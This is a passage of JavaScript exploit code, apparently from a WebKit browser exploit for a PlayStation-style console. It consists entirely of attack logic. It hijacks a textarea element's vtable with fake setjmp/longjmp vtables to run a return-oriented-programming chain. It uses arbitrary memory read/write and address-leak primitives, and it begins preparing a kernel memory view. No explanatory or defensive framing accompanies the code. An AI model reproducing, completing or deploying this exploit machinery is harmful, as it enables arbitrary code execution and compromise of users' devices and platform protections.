| 199 | p.write8(fakeVtable_longjmp.add32(0x1C8), webKitBase.add32(OFFSET_WK_longjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8] |
| 200 | |
| 201 | function launch_chain(chain) { |
| 202 | chain.push(window.gadgets["pop rdi"]); |
| 203 | chain.push(original_context); |
| 204 | chain.push(libSceLibcInternalBase.add32(OFFSET_libcint_longjmp)); |
| 205 | |
| 206 | p.write8(textAreaVtPtr, fakeVtable_setjmp); |
| 207 | textArea.scrollLeft = 0x0; |
| 208 | p.write8(modified_context.add32(0x00), window.gadgets["ret"]); |
| 209 | p.write8(modified_context.add32(0x10), chain.stack); |
| 210 | p.write8(modified_context.add32(0x40), p.read8(original_context.add32(0x40))) |
| 211 | |
| 212 | p.write8(textAreaVtPtr, fakeVtable_longjmp); |
| 213 | textArea.scrollLeft = 0x0; |
| 214 | p.write8(textAreaVtPtr, textAreaVtable); |
| 215 | } |
| 216 | |
| 217 | var kview = new Uint8Array(0x1000); |
| 218 | var kstr = p.leakval(kview).add32(0x10); |